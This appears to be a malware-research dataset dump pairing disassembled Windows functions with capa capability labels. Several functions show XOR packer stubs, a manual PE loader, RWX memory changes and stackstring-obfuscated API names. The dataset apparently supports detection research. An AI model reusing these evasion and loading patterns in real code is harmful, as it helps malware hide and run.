joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4099a4
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409a77
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409a90
push ebx
push 0x409a9c
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409a24
mov al, 0x62
call fcn.00409648
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.00409978
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a2d
call fcn.00409978
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409a7e
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409b30
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409be4
jmp 0x409bd9
cmp dword [esi + 0x10], 0x1000
jne 0x409bc5
test byte [esi + 0x15], 1
jne 0x409bc5
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409b84
cmp eax, 2
je 0x409b84
cmp eax, 0x10
je 0x409b84
cmp eax, 0x20
jne 0x409b99
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409b99
mov bl, 1
xor ebp, ebp
jmp 0x409baa
mov eax, dword [esi]
add eax, ebp
call fcn.00409b28
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409b9d
test bl, bl
je 0x409bc5
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409be4
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409b5c
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x401a6e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42d0d0]
jne 0x401a78
repz ret
jmp fcn.00402ba6

Function at 0x40f875
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004035f6
and dword [ebp - 4], 0
cmp dword [0x42f2fc], 0
mov ebx, eax
jne 0x40f926
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40f9d7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40f9d7
push eax
call fcn.00403584
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42f2fc], eax
call esi
push eax
call fcn.00403584
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42f300], eax
call esi
push eax
call fcn.00403584
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42f304], eax
call esi
push eax
call fcn.00403584
pop ecx
mov dword [0x42f30c], eax
test eax, eax
je 0x40f926
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403584
pop ecx
mov dword [0x42f308], eax
mov eax, dword [0x42f308]
cmp eax, ebx
je 0x40f97e
cmp dword [0x42f30c], ebx
je 0x40f97e
push eax
call fcn.004035ff
push dword [0x42f30c]
mov esi, eax
call fcn.004035ff
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40f97e
test edi, edi
je 0x40f97e
call esi
test eax, eax
je 0x40f975
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40f975
test byte [ebp - 0xc], 1
jne 0x40f97e
or dword [ebp + 0x10], 0x200000
jmp 0x40f9b7
mov eax, dword [0x42f300]
cmp eax, ebx
je 0x40f9b7
push eax
call fcn.004035ff
pop ecx
test eax, eax
je 0x40f9b7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40f9b7
mov eax, dword [0x42f304]
cmp eax, ebx
je 0x40f9b7
push eax
call fcn.004035ff
pop ecx
test eax, eax
je 0x40f9b7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42f2fc]
call fcn.004035ff
pop ecx
test eax, eax
je 0x40f9d7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40f9d9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x427233
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
xor esi, esi
cmp esi, 0x5026c
jne 0x4272d0
mov dword [ebp - 4], 0x20
add dword [ebp - 4], 0x20
push 0x42f3e0
mov byte [0x42f3e0], 0x6b
mov byte [0x42f3e1], 0x65
mov byte [0x42f3e2], 0x72
mov byte [0x42f3e3], 0x6e
mov byte [0x42f3e4], 0x65
mov byte [0x42f3e5], 0x6c
mov byte [0x42f3e6], 0x33
mov byte [0x42f3e7], 0x32
mov byte [0x42f3e8], 0x2e
mov byte [0x42f3e9], 0x64
mov byte [0x42f3ea], 0x6c
mov byte [0x42f3eb], 0x6c
mov byte [0x42f3ec], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 8]
push eax
push 0x40
push dword [0x42f7a4]
push dword [0x42f6ec]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp esi, 0x36edcb
jl 0x42723b
pop esi
leave
ret
Function at 0x42788c
Capabilities:
Set file attributes

Disassembly:
sub esp, 0x804
mov eax, dword [0x42d0d0]
xor eax, esp
mov dword [esp + 0x800], eax
push esi
push edi
mov edi, 0x13ba1f
xor esi, esi
cmp dword [0x42f7a4], 0xbf9
jne 0x4278bc
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
cmp dword [0x42f7a4], 0x3dc
mov dword [0x42f798], 0x8e55ceaa
jne 0x4278e7
push esi
push str.sutejoyuvefejavasayoz_kuradahehihugas
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
dec edi
jne 0x4278a9
cmp esi, 0x8465cd
jne 0x427901
mov eax, dword [0x42e780]
add eax, 0xa231
mov dword [0x42f7a4], eax
cmp dword [0x42f7a4], 0x141
jne 0x42792e
push str.gacepelorawagemuyutajewelaxizebu_hiyupehiliyi_toxayekuxo_ziyapemiket_siwiyorosahasopisuzofuwuxuv
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
or dword [0x42f46c], 0xffffffff
mov dword [0x42f468], 0xec58acac
inc esi
cmp esi, 0x125483c
jl 0x4278ea
call fcn.004274f0
mov ecx, dword [esp + 0x808]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00401a6e
add esp, 0x804
ret 0x10
Function at 0x10001910
Capabilities:
Terminate process

Disassembly:
sub esp, 0x10c
push esi
push edi
push 0
call sub.MFC42.DLL_AfxEnableControlContainer
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x14]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x10]
push 0x1000803c
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
test eax, eax
jne 0x1000196c
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push 1
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [esp + 8], 0x4d
mov byte [esp + 9], 0x61
mov byte [esp + 0xa], 0x69
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xc], 0
lea edx, [esp + 8]
push edx
call fcn.10001510
add esp, 4
push 0x36ee80
call esi
jmp 0x1000198b
Function at 0x100031a0
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
cmp word [eax], 0x5a4d
push ebx
push ebp
push esi
push edi
je 0x100031bc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
mov ebx, dword [eax + 0x3c]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
add ebx, eax
call esi
cmp dword [ebx], 0x4550
je 0x100031dd
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
mov eax, dword [ebx + 0x50]
mov ecx, dword [ebx + 0x34]
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call ebp
mov edi, eax
push 0
mov dword [esp + 0x14], edi
call esi
test edi, edi
jne 0x1000322c
mov edx, dword [ebx + 0x50]
push 4
push 0x2000
push edx
push edi
call ebp
mov edi, eax
push 0
mov dword [esp + 0x14], edi
call esi
test edi, edi
jne 0x10003228
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
mov edi, dword [esp + 0x10]
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
mov ebp, eax
call esi
push 0
mov dword [ebp + 4], edi
call esi
push 0
mov dword [ebp + 0xc], 0
call esi
push 0
mov dword [ebp + 8], 0
call esi
mov dword [ebp + 0x10], 0
mov eax, dword [ebx + 0x50]
push 4
push 0x1000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x54]
push 4
push 0x1000
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
push 0
mov dword [esp + 0x18], edi
call esi
mov esi, dword [esp + 0x1c]
mov edx, dword [ebx + 0x54]
push 0
mov ecx, dword [esi + 0x3c]
add ecx, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
mov eax, dword [edi + 0x3c]
add eax, ecx
mov dword [ebp], eax
mov dword [eax + 0x34], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebp
push ebx
push edi
call fcn.10003350
mov ecx, dword [ebx + 0x34]
mov eax, esi
add esp, 0xc
sub eax, ecx
je 0x100032ec
push eax
push ebp
call fcn.10003620
add esp, 8
push ebp
call fcn.100036d0
add esp, 4
test eax, eax
je 0x1000331d
push ebp
call fcn.10003450
mov edx, dword [ebp]
add esp, 4
mov eax, dword [edx + 0x28]
test eax, eax
je 0x10003345
add eax, esi
test eax, eax
je 0x1000331d
push 0
push 1
push esi
call eax
test eax, eax
jne 0x1000333e
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call esi
push ebp
call fcn.100039d0
add esp, 4
push 0
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
mov dword [ebp + 0x10], 1
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x10003350
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
push 0
call ebp
push 0
call ebp
mov esi, dword [esp + 0x28]
push 0
mov edi, dword [esi + 4]
mov dword [esp + 0x18], edi
call ebp
mov eax, dword [esi]
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x10003441
add ebx, 0x10
jmp 0x1000339c
mov edi, dword [esp + 0x14]
cmp dword [ebx], 0
jne 0x100033e1
mov edx, dword [esp + 0x24]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x10003421
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
mov edi, eax
call ebp
push 0
mov dword [ebx - 8], edi
call ebp
mov ecx, esi
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x10003421
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, edi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, dword [ebx + 4]
mov edx, dword [esp + 0x20]
mov ecx, dword [ebx]
add esi, edx
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0
and ecx, 3
mov dword [esp + 0x1c], eax
rep movsb byte es:[edi], byte [esi]
call ebp
mov eax, dword [esp + 0x18]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x10003398
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x10003450
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections

Disassembly:
sub esp, 0x28
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 0
call ebx
mov eax, dword [esp + 0x34]
xor ecx, ecx
mov dword [esp + 8], 0
mov eax, dword [eax]
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x10003612
push ebp
push edi
add esi, 0x24
jmp 0x1000348f
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call ebx
mov edi, dword [esi]
push 0
shr edi, 0x1d
and edi, 1
call ebx
mov ebp, dword [esi]
push 0
shr ebp, 0x1e
and ebp, 1
call ebx
mov ebx, dword [esi]
push 0
shr ebx, 0x1f
call dword [sym.imp.KERNEL32.dll_Sleep]
test dword [esi], 0x2000000
je 0x100034d8
mov edx, dword [esi - 0x14]
mov eax, dword [esi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x100035e8
lea ecx, [ebp + edi*2]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea edx, [ebx + ecx*2]
mov ebx, dword [edx*4 + 0x100081ac]
call ebp
test dword [esi], 0x4000000
je 0x100034fb
or bh, 2
mov edi, dword [esi - 0x14]
push 0
call ebp
test edi, edi
jne 0x1000352e
mov eax, dword [esi]
test al, 0x40
je 0x1000351b
mov eax, dword [esp + 0x3c]
push 0
mov ecx, dword [eax]
mov edi, dword [ecx + 0x20]
call ebp
jmp 0x1000352c
test al, 0x80
je 0x100035f0
mov edx, dword [esp + 0x3c]
mov eax, dword [edx]
mov edi, dword [eax + 0x24]
test edi, edi
jbe 0x100035f0
lea ecx, [esp + 0x28]
lea edx, [esp + 0x18]
push ecx
push edx
mov byte [esp + 0x20], 0x4b
mov byte [esp + 0x21], 0x45
mov byte [esp + 0x22], 0x52
mov byte [esp + 0x23], 0x4e
mov byte [esp + 0x24], 0x45
mov byte [esp + 0x25], 0x4c
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2a], 0x6c
mov byte [esp + 0x2b], 0x6c
mov byte [esp + 0x2c], 0
mov byte [esp + 0x30], 0x56
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], 0x74
mov byte [esp + 0x34], 0x75
mov byte [esp + 0x35], 0x61
mov byte [esp + 0x36], 0x6c
mov byte [esp + 0x37], 0x50
mov byte [esp + 0x38], 0x72
mov byte [esp + 0x39], 0x6f
mov byte [esp + 0x3a], 0x74
mov byte [esp + 0x3b], 0x65
mov byte [esp + 0x3c], 0x63
mov byte [esp + 0x3d], 0x74
mov byte [esp + 0x3e], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi - 0x1c]
lea ecx, [esp + 0x14]
push ecx
push ebx
push edi
push edx
call eax
test eax, eax
jne 0x100035f0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x3c]
mov eax, dword [esp + 0x10]
inc eax
add esi, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x10003489
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x28
ret
Function at 0x100039d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
push esi
mov esi, dword [esp + 0x24]
test esi, esi
je 0x10003af4
mov eax, dword [esi + 0x10]
push ebp
test eax, eax
push edi
je 0x10003a12
mov eax, dword [esi]
mov ebp, dword [esi + 4]
push 0
mov edi, dword [eax + 0x28]
add edi, ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
call ebp
mov ecx, dword [esi + 4]
push 0
push 0
push ecx
call edi
push 0
call ebp
mov dword [esi + 0x10], 0
mov eax, dword [esi + 8]
test eax, eax
je 0x10003a4b
mov eax, dword [esi + 0xc]
xor edi, edi
test eax, eax
jle 0x10003a3e
mov ebp, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [esi + 8]
mov eax, dword [edx + edi*4]
cmp eax, 0xffffffff
je 0x10003a36
push eax
call ebp
mov eax, dword [esi + 0xc]
inc edi
cmp edi, eax
jl 0x10003a28
mov eax, dword [esi + 8]
push eax
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov eax, dword [esi + 4]
test eax, eax
je 0x10003a60
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov al, 0x65
lea ecx, [esp + 0xc]
mov byte [esp + 0xd], al
mov byte [esp + 0x12], al
mov byte [esp + 0x13], al
mov al, 0x45
mov byte [esp + 0x19], al
mov byte [esp + 0x1c], al
lea edx, [esp + 0x18]
mov al, 0x6c
push ecx
push edx
mov byte [esp + 0x14], 0x48
mov byte [esp + 0x16], 0x61
mov byte [esp + 0x17], 0x70
mov byte [esp + 0x18], 0x46
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1c], 0
mov byte [esp + 0x20], 0x4b
mov byte [esp + 0x22], 0x52
mov byte [esp + 0x23], 0x4e
mov byte [esp + 0x25], 0x4c
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], al
mov byte [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call edi
pop edi
pop ebp
pop esi
add esp, 0x1c
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x431002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43100c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403e6a
nop
nop
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x405080
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x40a6a8]
push ebx
push ebp
mov ebp, dword [esp + 0xc]
cmp eax, 1
push esi
jne 0x40509f
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
test eax, eax
mov dword [0x40a6a4], 1
mov byte [0x40a6a0], bl
jne 0x4050f9
mov ecx, dword [0x40aa28]
test ecx, ecx
je 0x4050e7
mov esi, dword [0x40aa24]
sub esi, 4
cmp esi, ecx
jb 0x4050e7
mov eax, dword [esi]
test eax, eax
je 0x4050e0
call eax
mov ecx, dword [0x40aa28]
sub esi, 4
cmp esi, ecx
jae 0x4050d2
push 0x407014
push 0x407010
call fcn.00405130
add esp, 8
push 0x40701c
push 0x407018
call fcn.00405130
add esp, 8
test ebx, ebx
jne 0x405120
push ebp
mov dword [0x40a6a8], 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
pop ebp
pop ebx
ret

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..data
nop
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408ecc
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x57ad0fb7
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
cmp eax, 0
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x6c6a7c
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x10005bc9
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10005c08
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10005c08
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10005c08
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10005c08
cmp dword [ecx + 0x74], 0xe
jbe 0x10005c08
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret